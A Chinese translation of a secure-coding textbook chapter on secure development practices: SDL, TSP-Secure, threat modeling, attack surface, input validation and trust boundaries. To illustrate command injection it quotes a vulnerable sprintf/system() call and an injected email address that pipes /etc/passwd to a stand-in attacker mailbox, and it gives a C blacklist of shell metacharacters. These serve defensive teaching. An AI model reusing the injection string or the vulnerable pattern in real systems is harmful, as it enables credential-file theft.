2010中的仅7个。 图9.2 Microsoft Office与OpenOffice中的漏洞对比（资料来源：[Kaminsky 2011]） 虽然有证据证明SDL已经帮助微软提高了软件的安全性，但它当时是设计用来满足微软的需要，而不是满足更广泛的软件开发社区的需要。为了满足更广泛的软件开发社区的需求，微软公布了微软SDL的简化实现[Microsoft 2010]，它基于微软的SDL流程，但缩小了SDL的规模，使之更加便于管理。SDL在非专利创新通用许可（Nonproprietary Creative Commons License）下授权。它与平台和技术无关，适合任何规模的开发组织。 简化的SDL由有限数目的培训模块、过程和工具支持。然而，微软和CERT正在合作，使用在CERT和其他地方开发的解决方案以改进SDL。本章将介绍许多这方面的培训模块、流程和工具。表9.1展示了一些这方面的资源和工具与SDL核心实践的映射。 表9.1 资源和工具与简化的SDL的映射 [1] www.microsoft.com/security/sdl/default.aspx。 未知 9.1.1 TSP-Secure 针对安全软件开发的团队软件过程（Team Software Process for Secure Software Development，TSP-Secure）用于处理某些不精确的软件工程实践，后者可能会导致有漏洞的软件，包括缺乏清晰的安全目标、不清晰的角色、不充分的计划和追踪、没有在软件开发生命周期的早期认识到安全风险，以及可能最重要的问题—直到软件开发生命周期的末期都没有重视安全和质量。TSP-Secure是一个基于TSP（Team Software Process，团队软件过程）的方法，可以有预见性地改善所开发软件的安全性。 SEI的TSP为在团队和个人级别应用软件工程原则提供了一个框架、一套过程和一组规范的方法[Humphrey 2002]。使用TSP开发的软件比使用当前实践开发的软件少一个或两个数量级的缺陷（每千行代码中含有0～0.1个缺陷，而使用当前实践的每千行代码中含有1～2个缺陷）[Davis 2003]。 TSP-Secure扩展了TSP，以便更直接地专注于解决软件应用的安全性。TSP-Secure从三个方面帮助我们进行安全的软件开发。首先，因为安全的软件并非偶然搭建而成的，所以TSP-Secure会针对安全制订计划。同样，因为进度压力和个人问题会妨碍最佳实践的实现，所以TSP-Secure可以帮助建立自律的开发团队，并使这些团队各司其职。其次，因为安全和质量密切相关，所以在产品开发生命周期中，TSP-Secure自始至终帮助管理质量。最后，因为安全软件的开发人员必须具有软件安全问题的意识，所以TSP-Secure包含了针对开发人员的安全意识培训。"},
    {"text": "未知 9.1.2 计划和跟踪 TSP-Secure团队将构筑自己的计划。最初的计划活动包括选择将用于实施该项目的编程语言，并准备这些语言的安全编码标准，还包括选择静态分析工具，定义静态分析规则的初稿，以及安全发展战略的定义，其中包括决策何时进行威胁建模，在开发生命周期中何时运行静态分析工具，如何用建模和分析指标来细化发展战略。计划的下一波是在项目启动时制订的，发生于3～4天内举行的9个会议之中，如图9.3所示。项目的启动是由有资质的团队教练领导的。在一个TSP-Secure启动时，整个团队将会就工作本身和准备采纳的工作方法达成共识，生成一份详细的计划以便指导工作，并且获得管理层对该计划的支持。 图9.3 TSP启动 在TSP-Secure启动的末期，团队将和管理层对于项目如何继续进行达成共识。由于近期计划中的任务已经完成，因此团队将再次启动制订下一个周期的详细工作计划。后期处理也发生在每个周期的末期，并且基于结果评估与修正其他的计划、过程、质量问题、安全过程、工具以及度量。再次启动的过程与启动相似，但是持续时间稍短些。这样计划和再次计划的周期不断循环，直至项目完成。 启动之后，团队将执行计划并管理自己的工作。TSP教练与团队协作，帮助他们收集和分析进度和质量数据，关注他们的过程，跟踪问题和风险，维护他们的计划，根据目标跟踪进展，并向管理层报告项目的状态。 未知 9.1.3 质量管理 已发布的软件中的缺陷只是整个软件开发生命周期中引入的所有缺陷的一部分。TSP-Secure质量管理策略在软件开发生命周期中设置了多个缺陷移除点（defect removal point）。增加缺陷移除点将会增加缺陷出现后迅速被发现的可能性，从而更容易确定问题的根本原因并使问题更容易得到解决。 可以将每一次缺陷移除活动想象为一个过滤器，它可以从软件产品中移除一部分可能导致漏洞的缺陷，而其他可能导致漏洞的缺陷则躲过过滤器，并残留在软件中，如图9.4所示。软件开发生命周期中的缺陷移除过滤器越多，软件发布时残留的可能导致漏洞的缺陷就越少。 图9.4 过滤漏洞 缺陷的度量是随着移除动作不断进行的。缺陷度量的结果反映了团队目标的完成情况，这不仅有助于团队决定是继续下一个步骤还是停下来纠正当前的工作，还能指示从哪儿修补他们的过程以满足目标。度量缺陷越早，组织就有越多的时间在软件开发生命周期的早期采取纠正性的行动。 软件开发人员必须意识到将会影响他们软件的安全问题。因而TSP-Secure包含了一个议题研讨会（awareness workshop），向参与者披露一套有限的安全问题。TSP-Secure议题研讨会以常见漏洞的概览开始，然后是设计、实现以及测试用以处理常见的漏洞原因。"},
    {"text": "未知 9.2 安全培训 在应对未来的网络安全挑战时，教育起着至关重要的作用，如把安全编程原则和做法整合进教育方案的课程设计[Taylor 2012]。为了帮助指导这个过程，美国国家科学基金会计算机与信息科学及工程学部（CISE）、教育与人力资源委员会（EHR）于2010年10月在华盛顿联合主办了安全软件教育（SESS）峰会。本次峰会的目的是开发如何最好地向学生和当前的专业人员传授有关健壮的、安全的编程概念和实践，并确定所需资源和必须克服的问题的路线图。这次峰会从路线图中提出了10个具体建议[Burley 2011]。这些建议包括： 1.所有大学生都至少需要学习一门计算机安全课程： a.对于计算机科学（CS）专业的学生，专注于技术主题，诸如如何在各种应用程序中应用安全设计原则。 b.对于非CS专业的学生，专注于提高对计算机安全的基本思路的认识。 2.使用创新的教学方法，跨多种学生组别加强计算机安全知识的基础。 卡内基梅隆大学（CMU）计算机科学系自2007年开设了CS15-392“安全编程”课程，把它作为一门计算机科学选修课。由美国国土安全部（DHS）资助的软件保证课程计划，把这门课程作为一个软件保证本科课程方面的例子，与多种方案一并提供[Mead 2010]。CMU的信息网络技术研究所还在信息技术信息安全理学硕士（MSIT-IS）班中开设了14-735“安全软件工程”课程。目前，史蒂文斯理工学院、普渡大学、佛罗里达大学、圣克拉拉大学、圣约翰费舍尔学院等高校都在教授类似的课程。 目前和可预期的对具备创造安全软件系统技能的软件开发人员的需求表明，存在增加安全编程教育容量的明显需要[Bier 2011]。容量的增加可以部分通过增加学习者的生产率和效率解决，即使比以往任何时候都更多的学习者，更加迅速地通过课程的教材学习。然而，对产量的需求应与对质量的需求相匹配。学生必须能够运用所学到的知识，并有能力学习新东西。高效的安全编码，既需要高层次的理论和详细的编程语言专业知识，又需要在开发安全软件的背景下使这些理论知识和应用这两者的能力之间达到平衡。 为了满足这些需求，卡内基梅隆大学的开放式学习项目和CERT合作开发了一门在线的安全编程课程，这门课可以取得专业内容，确保高品质的学习，并可以扩展，以满足快速增长的需求 [1] 。 SEI和CERT还提供了更传统的专业培训。以下是有效的SEI训练课程的部分清单：“使用SQUARE方法的安全需求工程”、“使用OCTAVE方法的信息安全风险评估”、“支持网络安全的软件保证方法”、“任务风险诊断”、“C和C++安全编码”和“CSIRT的创建和管理概述”。 [1] https://oli.cmu.edu/courses/future-2/secure-coding-course-details/。 未知 9.3 要求 9.3.1 安全编码标准 安全编码的一个基本要素是具备良好记录的编码标准并强制执行这个标准。编码标准鼓励程序员遵循按照项目和组织的要求确定的一套统一规则和指引，而不是按程序员自己的习惯或偏好行事。 CERT协调安全研究专家、语言专家和软件开发人员使用一个基于维基（wiki）的社区过程开发安全编码标准。超过1200位投稿人和审稿人都参与了CERT安全编码标准wiki上的安全编码标准的开发[SEI 2012a]。思科和甲骨文等公司已采纳了CERT的安全编码标准。2013财年的美国国防授权法 [1] ，除了使用安全编码标准的其他要求，还包括如下规定。 副国务卿应当协同首席信息官（Chief Information Officer，CIO）为所涉及系统的部门（Department）项目经理开发如下的指导和指示： （1）要求政府软件开发和维护组织及承办商提供证据表明，其在计算机软件编码中符合— （A）在软件的开发、升级和维护活动中批准的部门安全编码标准，其中包括审查和考核的使用。 使用安全编码标准定义了一组可以对源代码的符合性进行评估的要求。安全编码标准对评估和对比软件的安全性、可靠性和相关属性提供了一种衡量标准。忠实地应用安全编码标准可以防止引入已知的源代码相关的漏洞。到目前为止，CERT已经发布了C[Seacord 2008]和Java[Long 2012]安全编码标准，并正在准备为C++[SEI 2012b]和Perl[SEI 2012c]制定一个标准。 《CERT C安全编码标准》1.0版是专门针对如何执行一致性测试的C语言标准的正式版本。Addison-Wesley出版社已将其出版成书[Seacord 2008]。它是专门为下列版本的C编程语言定义的： ·ISO/IEC 9899:1999，编程语言-C（第二版）[ISO/IEC 1999] ·技术勘误TC1、TC2和TC3 ·ISO/IEC TR24731-1，C库扩展，第一部分：边界检查接口[ISO/IEC 2007] ·ISO/IEC TR24731-2，C库扩展，第二部分：动态分配函数[ISO/IEC TR24731-2:2010] 目前wiki[SEI 2012d]上的《CERT C安全编码标准》版本正在更新以支持C11[ISO/IEC 2011]，也在为兼容ISO/IEC TS 17961 C安全编码规则[Seacord 2012a]作修改。 [1] 参见www.gpo.gov/fdsys/pkg/BILLS-112s3254pcs/pdf/BILLS-112s3254pcs.pdf。"},
    {"text": "未知 9.3.2 安全质量需求工程 需求工程的传统角色是确定系统需要做哪些事情。然而，安全问题通常是让系统避免去做不应该做的事情。我们知道如何去编写一个功能规范来描述代码应该做的事情，但是对于如何表达系统不应该做什么事情的安全约束，我们却知之甚少。如果不能有效地定义安全需求，就不能在实现之前对最终系统的成败进行有效的评估。但在需求分析过程中却常常会遗漏安全需求。缺乏有效的方法是造成这种状况的因素之一。 早期的一项研究发现，在开发周期的早期引入安全性分析和安全的工程实践的情况下，投资的利润率范围为12%～21%[Soo Hoo 2001]。美国国家标准和技术研究所（The National Institute of Standards and Technology，NIST）报告称，安全性和可靠性方面有缺陷的软件每年要花费595亿美元在软件的崩溃和修补上[NIST 2002]。糟糕的安全性引起的代价表明，在这一领域，即便是很小的改进也会带来极高的回报。 安全质量需求工程过程（Security Quality Requirements Engineering Process，SQUARE）用于引出和分析安全需求，它由SEI开发并已经应用于一系列客户案例研究[Xie 2004.Chen 2004]。原始的SQUARE方法[Mead 2005]由9个步骤构成，但已被扩展，以解决隐私和探测问题。其中1～4步是先决步骤。 1.统一定义 。统一定义是安全需求工程的先决条件。就一个给定的项目而言，团队成员都趋向于基于他们以前的经验在脑海中给它一个定义，但这些定义并不一定一致。我们没有必要去创造定义。诸如Internet Security Glossary.version2（RFC 4949）[Internet Society 2007]和Guide to the Software Engineering Body of Knowledge[Bourque 2005]等资源提供了一系列定义可供选择或加工。 2.识别安全目标 。对于组织和即将开发的信息系统而言，必须识别需要保护的资产及与其相关的安全目标，并排定它们的优先次序。不同的用户有着不同的目标。例如，人力资源部门的用户可能会关心人事档案机密性的维护，而财务领域的用户则需确保财务数据不会在未经授权的情况下被访问或修改。 3.开发文档 。操作的概念、简洁陈述的项目目标、文档化的正常用法和威胁场景、误用案例，以及支持需求定义所需要的其他文档。如果缺乏，可能会导致混乱和误传达。 4.进行风险评估 。有很多风险评估方法可基于组织需要进行选择。从第3步得到的文档为风险评估过程提供了输入。威胁建模也对风险评估提供了大量的支持。风险评估的结果可以帮助识别高优先级的安全问题。 5.选择引出技术 。当存在若干种类型的用户时，挑选一种引出技术是很重要的。当存在具备不同文化背景的负责人时，比较正式的引出技术（如结构化会谈）可能很有效。在其他情况下，引出技术也许仅仅是与主要负责人坐下来，努力弄明白他的安全需求。在SQUARE的案例研究中，最成功的方法是需求加速法（Accelerated Requirements Method，ARM）。 6.引出安全需求 。这一步将用到之前选中的需求引出技术。大多数引出技术都提供了关于如何进行引出的详细指导。 7.对需求分类 。分门别类使得需求工程师可以区分本质需求、目标（想得到的需求），以及可能出现的架构约束。这有助于接下来的需求优先次序的排定。 8.排定需求的优先次序 。需求优先次序的排定可以通过成本/收益分析得到，以决定哪些安全需求具有高性价比。层次分析法（Analytical Hierarchical Process，AHP）是一个排优先级的方法，它采用了对需求两两比较的办法来排优先级。 9.需求审查 。需求审查可以在各种正式级别上进行，从Fagan审查法到同行评审（peer review）。案例研究中，最有效的方法是Fagan审查法。一旦需求审查完成，组织就应该拥有一套按优先次序排定的初始安全需求。 未知 9.3.3 用例/误用例 安全误用例（security misuse case）[Alexander 2003.Sindre 2000,2002]是用例（use case）的一个变种，用于从攻击者的角度描述一种场景。用例已经被证明在描述正常的使用场景方面很有效，同样的道理，误用例在描述入侵者使用场景以及最终识别安全需求方面是有效的[Firesmith 2003]。一种与误用例类似的概念是滥用例（abuse case）[McDermott 1999,2001]。表9.2展示了安全用例和误用例之间的区别[Firesmith 2003]。 表9.2 误用例和安全用例之间的区别 表9.3展示了一个针对自动柜员机（ATM）的特定应用的误用例的示例[Sindre 2003]。 表9.3 特定应用的误用例 像用例那样，在向系统的客户或最终用户表达可能的威胁时，误用例是一个有效的工具，使得用户在成本与质量属性之间进行权衡，作出合理的决策。误用例还可以用于识别潜在的威胁以及归纳出安全需求。"},
    {"text": "未知 9.4 设计 系统的架构和设计对于最终系统的安全性有着重大的影响。如果系统的架构和设计存在缺陷，那么本书提供的任何措施都无法让你的系统安全。Len Bass及其同事们描述了用以创建安全的系统架构的策略，这样的系统可以侦测和抵抗攻击，并从攻击中恢复[Bass 2013]。 软件架构也应该用于实现并执行安全的软件开发原则。比方说，如果你的系统需要在不同的时间拥有不同的特权，就可以考虑将一个系统划分成若干个独立、可互通信的子系统，并为每个子系统赋予适当的特权集合。当一个无特权的进程需要执行“需要特权才能执行”的任务时，这种架构就允许无特权的进程与另一个拥有高级特权的进程通信，以执行对安全要求苛刻的操作。例如，这种要求可以在UNIX系统上实现，通过使用如下步骤序列： 1.初始化需要特权的对象。 2.使用socketpair（）后跟fork（）构造通信信道。 3.使用chroot（）系统调用，然后撤销特权，让非受信进程将文件系统的根目录改为一个受限制的区域 [1] 。 大多数任务都是在复杂的非受信进程中执行的，只有那些需要特权的操作才是由受信进程（保留特权的进程）执行的。这种方法的好处在于，能够将引入复杂的、非受信进程的漏洞的影响限制于无特权用户的环境中。 如图9.5所示，这项技术是由“OpenSSH安全shell实现”实现的[Provos 2003a]。当SSH daemon（sshd）启动的时候，它首先在端口22上绑定一个套接字并等待新的连接。每个新连接都是由一个分岔出的子进程处理的。子进程需要在其整个生命周期内都保持超级用户的特权，以便为用户创建新的伪终端，在密钥被替换时认证密钥的交换，在SSH会话结束时清理伪终端，以及创建具有“已认证用户”特权的进程等。子进程扮演着监视器的角色，并且生成一个从进程，从进程撤销它的所有特权，并开始从已建立好的连接中接受数据。然后监视器等待来自从进程的请求。如果子进程发出一个不被许可的请求，则监视器将终止。通过区别对待，对特权有着不同需求层次的代码被分离开来，从而可以对系统各个组成部分应用最小的特权。 尽管这样的架构实现起来非常困难，然而其好处是显而易见的，对于规模庞大且复杂的应用更是如此。不过谨记一点，这些新的通信信道也可能成为新的攻击渠道，因此要相应地对它们加强保护。我们要寻求最少信道和特权分离之间的平衡。 安全设计模式（secure desiqn pattern）描述了一个安全问题的通用解决方案的描述信息或模板，这种解决方案可以应用在许多不同的情况。安全设计模式用于消除偶然插入到代码中的漏洞，并减轻这些漏洞的后果。与[Gamma 1995]中推广的设计模式相比，安全设计模式解决了特定范围中许多的不同级别的安全问题，这个范围从涉及高层次的系统设计架构层次的模式到提供了如何在系统中实现函数或方法的部分指导的实现级模式。2009年的CERT报告[Dougherty 2009]列举了一些安全设计模式，它们是通过总结现有的最佳安全设计的做法，用特定的安全功能扩展现有的设计模式，并根据它们的抽象层次（架构、设计或实现）分类得出的。 图9.5 OpenSSH [1] 在对chroot() 的调用之后，进程后来发起的系统调用会将指定的目录视为文件系统根目录。现在我们将不能访问以新的根目录为根的树之外的文件和二进制文件，这种环境称为chroot jail。"},
    {"text": "访问判定建立在显式授权而不是隐式授权的基础上，这意味着在默认情况下，访问是被拒绝的，保护方案会识别出在什么条件下访问是经过许可的。"},
    {"text": "一个保护系统的主要基础是要求检查对每一个对象的访问是否得到授权。 这要求每一个访问请求的来源都通过明确的鉴别，并被授权访问某个资源。"},
    {"text": "比方说，安全令牌和基于密码的（security-token-and-password-based）访问方案具备下列属性（假定能够正确实现）： ·用户可能拥有一个脆弱的密码，甚至可能泄漏它，但是如果没有令牌，那么访问方案就不会失败。 ·用户可能遗失令牌，或者令牌被攻击者窃取，但是如果没有密码，那么访问方案就不会失败。"},
    {"text": "用户必须能够修改自己的密码，但是却不能准许他们自由地读取或修改包含所有用户密码的数据库。 因此，密码修改程序必须正确地接受来自用户的输入，并基于附加的授权检查，以确保用户只能修改自己的密码。"},
    {"text": "然而，如果你正在设计这样一个应用程序，它的每个实例都拥有自己的数据存储，并且在应用程序的多个实例之间或者在分布式对象系统中的多个客户端或多个对象之间，数据是非共享的，那么就要考虑你的系统设计，以使最少公共机制执行于程序的进程空间内，且不与其他应用程序共享。"},
    {"text": "未知 9.4.2 威胁建模 为了创建安全的软件，有必要预计软件可能遭受到的威胁。深入理解这些威胁有益于合理地分配资源。 威胁模型由应用程序的架构定义和针对应用场景的威胁列表构成。威胁建模包括识别关键资源、应用程序的分解、识别并分类针对每一个信息资产或组件的威胁、基于风险等级评估威胁，然后开发威胁缓解措施，并在设计、编码和测试用例中实现这些缓解措施。这些威胁模型应该作为软件演化中的需求和设计环节进行评审。不够精确的模型可能会导致为确保开发中系统的安全性而付出的努力不足（或者过分）。 微软定义了一个结构化的威胁建模方法[Meier 2003，Swiderski 2004，Ingalsbe 2008]，它开始于应用程序开发的早期阶段，并贯穿于应用程序的生命周期。根据微软的经验，该威胁建模的过程由6个步骤构成： 1.识别资产 。识别你的系统必须保护的资产。 2.创建蓝图 。规划应用程序的架构，包括子系统、信任边界和数据流。 3.分解应用程序 。分解应用程序的架构，包括底层网络和主机基础设施的设计，从而为应用程序创建一个安全规范。目标是揭露应用程序的设计、实现或部署配置中存在的漏洞。 4.识别威胁 。从攻击者的目标和应用程序的架构及可能存在的漏洞出发，识别出可能影响到应用程序的威胁。 5.记录威胁 。使用为每一种威胁定义的一组捕获那些威胁的模板的常用属性，来记录每一个威胁。 6.评估威胁 。基于攻击的可能性和危害的结果，按优先次序排列呈现最大风险的威胁。比较“威胁带来的风险”和“缓解该威胁的代价”，在此基础上判断是否应该对威胁采取行动。 威胁建模过程的输出可以帮助项目团队成员理解需要处理的威胁以及如何处理它们。 微软还开发了一个威胁建模工具 [1] ，使开发者或软件架构师能沟通他们系统的安全性设计，使用经过验证的方法分析这些设计潜在的安全问题，并且提出安全问题的缓解措施建议并加以管理。 [1] 参见www.microsoft.com/security/sdl/adopt/threatmodeling.aspx。 未知 9.4.3 分析攻击面 系统开发人员必须解决安全漏洞、攻击和威胁[Schneider 1999]。如第1章中所述，威胁是一个能够利用漏洞的有动机的对手。 软件设计师努力减少设计中潜在的错误或弱点，但无法保证他们可以识别所有的错误或弱点。同样，理解和挫败对手可能需要了解其动机，以及他们使用的工具和技术—这些在事实发生前显然是不可知的。可能可知的东西，至少在一个相对意义上，是系统的攻击面。 系统的攻击面是对手可以进入系统，并可能导致损害的方法的集合。重点是可能提供进攻机会的系统资源[Howard 2003b]。直观地说，系统的表面暴露得越多，它越有可能成为攻击的目标。提高系统安全性的一种方法是减少其攻击面。这种减少需要分析目标（对手旨在控制或指派以开展攻击的进程或数据资源）、通道（通信信息的手段和规则）和访问权限（与每个资源相关的特权）。例如，可以通过限制对资源的访问权限的集合来减少攻击面。这是最小权限原则的另一种应用，也就是说，给予特定用户对所需资源最低的访问权限。同样，一旦套接字不再需要就关闭它们，从而减少通信信道，会减少攻击面。 测量攻击面的概念在对相似的系统（如不同的发行版本）作比较时是特别重要的。如果向系统中添加新的特性增加了攻击面，则应该主动地测量攻击面，而不是随着产品演变和不断变化的需求而进行测量。 减少攻击面可以通过减少目标、通道和访问权限的类型或实例来实现，也可以通过加强相对于一个进程的先决条件和后决条件，以便只允许预期的影响来实现。"},
    {"text": "未知 9.4.4 现有代码中的漏洞 现今开发的大多数软件都基于之前开发好的软件组件才能工作。以C或C++编写的程序为例，它们依赖于随编译器或操作系统打包安装的运行时库。应用程序通常都会使用软件库、组件或其他既有的现成软件。使用现成软件导致的未知结果之一就是，即使你自己编写的代码没有缺陷，你的程序仍然会由于这些组件中存在安全缺陷而出现漏洞。比方说，C库函数realpath（）返回一个指定路径的规范化的绝对路径名。为了做到这一点，它会展开所有的符号链接。然而，当规范化的路径长度大于MAXPATHLEN的时候，realpath（）的某些实现中所包含的静态缓冲区将会溢出。其他一些公共C库函数的某些实现也容易发生缓冲区溢出，例如syslog（）、getpass（）和getopt（）函数家族。 由于其中一些问题已经存在很长时间，因此许多C库已经提供了这些函数的更正版本。例如，针对Linux的libc4和libc5实现，在realpath（）函数中含有缓冲区溢出漏洞，但这个问题在libc-5.4.13中得到了解决。表面上，可以安全地使用这一函数了，因为问题已经被纠正了。但是果真如此吗？ 现代操作系统通常都支持动态链接库或共享库。在这种情况下，库代码不是静态地链接到可执行文件上的，而是运行时在程序安装的环境中找到的。因此，如果假设的应用程序被设计与libc-5.4.13版本的realpath（）打交道，而实际环境中安装的却是更老版本的libc5，那么程序将依然会受到realpath（）函数中缓冲区溢出缺陷的影响。 解决方案之一是将安全的库静态地链接到你的程序上。这种方法允许你锁定正在使用的库实现。然而，这种方法也有不利的方面，即会在磁盘上和内存中创建较大的可执行文件的镜像。这样做也意味着，你的程序将不能很好地利用更新的库，因为新库也许可以修复之前未知的缺陷（包括安全性和其他方面）。另一种解决方案是确保传给外部函数的输入值保持在一定范围内，已知那些函数的所有现有实现在该范围内的调用都是安全的。 类似的问题还可能出现在诸如DCOM和CORBA的分布式对象系统，以及其他执行运行时绑定的组件模型中。 未知 9.4.5 安全包装器 系统集成人员和管理员可以通过提供包装器来保护系统免遭现成软件组件（例如库）中的漏洞的侵害，这些包装器可以拦截对常被误用或有缺陷的API的调用。包装器除了实现API的原始功能外（一般是通过调用原始组件），还会执行额外的验证检查，以确保已知的漏洞不被利用。为了保证切实可行，这种方法要求对可执行文件进行运行时绑定。例如，来自Avaya实验室的libsafe库[Baratloo 2000，Tsai 2001]就是一个针对Linux系统实现的缓解方案。 包装器并不要求改变操作系统，它们可以与现有的二进制程序协作。包装器不能保护程序免遭未知安全缺陷的侵袭。如果存在于某部分代码中的漏洞未能被包装器拦截，则系统仍然容易遭受攻击。 一个相关的方法就是在受监控的环境中执行非受信的程序，该环境的行为则通过用户提供的策略加以约束。关于这种缓解方法的一个例子是Systrace设施 [1] 。这种方法与安全包装器的区别在于它并不能防止漏洞利用，但可以防止利用程序的开发者通常可能尝试的其他非预期操作，例如向受保护的位置写入文件，或打开网络套接字等[Provos 2003b]。 Systrace是一个策略执行工具，它提供了一种方式来监听、拦截并限制系统调用。Systrace设施作为可执行程序的包装器，管理可执行程序在系统调用表中的行为。Systrace拦截系统调用并且使用Systrace设备，通过内核处理它们，同时处理系统调用[Provos 2003b]。 与安全包装器类似，监控环境不需要源代码或修改被监控的程序。这种方法的缺点在于，错误的策略很容易破坏被监控程序预期要执行的功能。而且对于管理员来说，为一个完整行为尚不明了的庞大且复杂的程序构造精确的策略描述，也是不现实的。 [1] 参见www.citi.umich.edu/u/provos/systrace/。"},
    {"text": "未知 9.4.6 输入验证 造成漏洞的一个常见原因是没有经过适当验证的用户输入。输入验证需要以下几个步骤。 1.必须识别所有的输入源。输入源包括命令行实参、网络接口、环境变量以及用户控制文件等。 2.指定规范并验证数据。所有来自非受信来源的数据必须是完全指定的，而且必须根据指定的规范进行验证。必须将系统设计为能够处理任何范围或组合的有效数据。在此场景中，有效数据是指系统的设计和实现可以预料到的数据，从而保证它们不会导致系统进入不确定的状态。例如，如果系统接受两个整数作为输入，并以两个值做乘法运算，则系统必须要么（a）验证输入，以确保操作的结果不会导致溢出或发生其他异常状况，要么（b）准备好处理运算的结果。 3.制定的规范必须处理各种限制、最小值和最大值、最小长度和最大长度、有效内容、初始化和重新初始化需求，以及存储和传输的加密需求。 4.确保所有输入都符合规范。使用数据封装（如类）来定义并封装输入。例如，我们不再检查用户名输入中的每个字符，以确定它是有效的字符，而是定义一个类来封装所有与该类型的输入有关的操作。输入必须尽快得到验证。不正确的输入并非总是恶意的—常常只是个意外。尽早报告错误通常有助于纠正问题。当在代码深处发生异常的时候，有时很难发现起因是越界的输入还是无效输入。 可以将数据字典或类似的机制用作所有程序输入的规范。输入通常存储于变量中，也有些输入最终会存储为持久性数据。为了验证输入，必须开发出有效输入的规范。良好的实践是定义数据和变量规范，该规范不仅仅针对容纳用户输入的所有变量，还针对容纳“来自持久性存储的数据”的所有变量。验证用户输入的必要性是显而易见的，而之所以需要验证读取自持久性存储的数据，则是为了抵御持久性存储被篡改的可能性。 用于处理标准化的并被广泛使用的数据格式，如XML、HTML、JPEG和MPEG类型数据的可靠、高效和方便的工具，都是现成的。例如，大多数编程语言具有解析XML和HTML以及用于操纵JPEG图像或MPEG电影的库。处理标准化的并被广泛使用的数据格式的工具是安全的概念也有明显的例外[Dormann 2009，2012a；Foote 2011]，所以仔细评估这样的工具相当重要。专有的数据和非标准的数据格式存在的问题更多，因为通常不具备现成的解析、查询、分析或改造这些格式的工具。在这种情况下，开发人员必须从头开始建立定制的加工工具。这个过程很容易出错，并经常导致引入可利用的漏洞。为了应对这些挑战，研究人员已经开始开发用来描述和处理专有数据的高级语言。可以使用这些语言来精确定义专有和非标准的数据格式，并且可以处理所得的定义以产生可以可靠地处理错误的分析器[Fisher 2010]。"},
    {"text": "未知 9.4.7 信任边界 从理论上讲，如果一个程序只允许有效的输入，且程序逻辑能够正确地预料并处理有效数据的每一种可能的组合，那么本书所描述的多数漏洞都将不复存在。不幸的是，编写安全的程序是一个难以达到的目标。在不同的软件组件之间传递数据的时候，尤其如此。John Viega和Matt Messier提供了一个应用程序的例子，由用户输入一个E-mail地址，并将该地址写至一个缓冲区[Viega 2003]： sprintf(buffer, \"/bin/mail %s < /tmp/email\", addr); 然后使用system（）函数将字符串传递给主机环境的命令处理器执行这个缓冲区。当用户输入以下字符串作为E-mail地址的时候，风险就出现了： bogus@addr.com; cat /etc/passwd | mail some@badguy.net 软件往往包含多个组件和库。前面的例子由几个部件组成，包括应用程序、/bin/mail和在主机环境中的命令处理器。每个组件都可以在由系统架构、安全策略、所需的资源和功能确定的一个或多个受信任域中工作。 图9.7说明了一个可信的组件和为确保跨越信任边界的任何数据都是适当的和非恶意的组件可以采取的步骤。这些步骤可以包括规范化和正常化（canonicalization and normalization）、输入净化（input sanitization）、验证（validation）和输出净化（output sanitization）。不是所有的这些步骤都需要执行，但它们在执行时，就应该按上述顺序执行。 图9.7 可信组件 规范化和正常化 。规范化是指将输入无损地还原为它的等效的最简单的已知形式的过程。正常化是将输入数据有损地转换为最简单的已知和预期的形式的过程。在验证之前，必须进行规范化和正常化，以防止攻击者利用验证程序去掉无效字符，从而构建一个无效（且潜在恶意）的字符序列。此外，确保只对完全组装的用户输入执行正常化。绝不对部分输入执行正常化，也不把正常化输入与非正常化输入进行合并处理。 例如，POSIX文件系统提供了使用路径来表达系统文件名的语法。路径是指示如何找到任意文件的字符串，它以一个特定的目录（通常是当前工作目录）开始，并向下遍历目录，直到找到该文件。规范路径缺乏符号链接和特殊的项目，如“.”和“..”，它们在POSIX系统上是特殊处理的。从目录可访问的每个文件都正好有一个规范绝对路径（即从最上面的“根”目录开始），并伴有许多非规范的路径。 特别是，复杂的子系统往往是接受指定向组件发出的命令或指令的字符串数据的组件。传递给这些组件的字符串数据可能包含特殊字符，该字符可以触发命令或操作，从而导致一个软件漏洞。当必须把数据发送到不同信任域的一个组件时，发送者必须通过对流向信任边界的任何数据进行适当的编码和转义来确保数据适用于接收者的信任边界。例如，如果一个系统被恶意代码或数据渗透，再加上系统的输出被适当地转义和编码，许多攻击就会呈现无效。 净化 。在许多情况下，数据被直接传递到不同信任域的一个组件。数据净化是确保数据符合它被传递的子系统要求的过程。净化还涉及确保数据跨信任边界输出时也符合有关泄漏或暴露敏感数据时与安全相关的要求。净化可能包括采用从输入除去、更换、编码或转义字符等方法来消除不想要的字符。净化可以紧接着输入（输入净化）执行或在数据跨越信任边界传递之前执行（输出净化）。数据净化和输入验证可以共存并相得益彰。 在本节开始描述的可利用的system（）函数调用存在的问题是该调用的上下文。该system（）命令没有办法知道这个请求是无效的。因为在这种情况下，调用过程了解该上下文，所以，调用进程有责任先净化数据（命令字符串），然后再调用一个不理解该上下文的、在不同的逻辑单元（系统库）的函数。这最好通过数据净化来处理。 验证 。验证是确保输入数据落在预期的有效程序输入域中的过程。例如，方法参数不仅必须遵守方法或子系统的类型和数值范围的要求，还必须包含符合该方法或子系统所需的输入不变量的数据。 边界和接口 。所有的边界和接口都被考虑到是很重要的。例如，考虑如图9.8所示的简单应用程序架构。重要的是要净化在所有系统接口间被传递的数据。对于识别和防止探测、窥探和欺骗攻击，这种方式的检查和验证交换数据也可能是有用的。 图9.8 可利用的接口（资料来源：[Wallnau 2002]） 黑名单（blacklisting）和白名单（whitelisting）是进行数据净化的两种途径。黑名单尝试排斥无效的输入，而白名单则要求仅接受有效的输入。一般推荐使用白名单，因为我们并非总能够识别出所有的无效值，而且在遇到非预期输入时，白名单的做法也是安全的。"},
    {"text": "未知 9.4.8 黑名单 进行数据净化的方法之一是将输入字符串中的危险字符替换为下划线或其他无害字符。例9.1包含了一些执行此功能的示例代码。危险字符是指在特定上下文中可能会造成非预期结果的字符。这些字符通常是危险的，因为它们可能会指示被调用的子系统去执行违反安全策略的操作。例如，我们已经看到在一个system（）调用或其他调用shell的命令的上下文中，“;”字符是如何形成危险的，因为它允许用户将附加命令连接到一个字符串的尾部。出于类似的原因，在SQL数据库查询或URL的上下文中还存在其他的危险字符。 例9.1 进行数据净化的黑名单方法 01 int main(int argc, char *argv[]) { 02 static char bad_chars[] = \"/ ;[]<>&\\t\"; 03 char * user_data; 04 char * cp; /* 进入示例字符串的游标 */ 05 06 user_data = getenv(\"QUERY_STRING\"); 07 for (cp = user_data; *(cp += strcspn(cp, bad_chars));) 08 *cp = '_'; 09 exit(0); 10 } 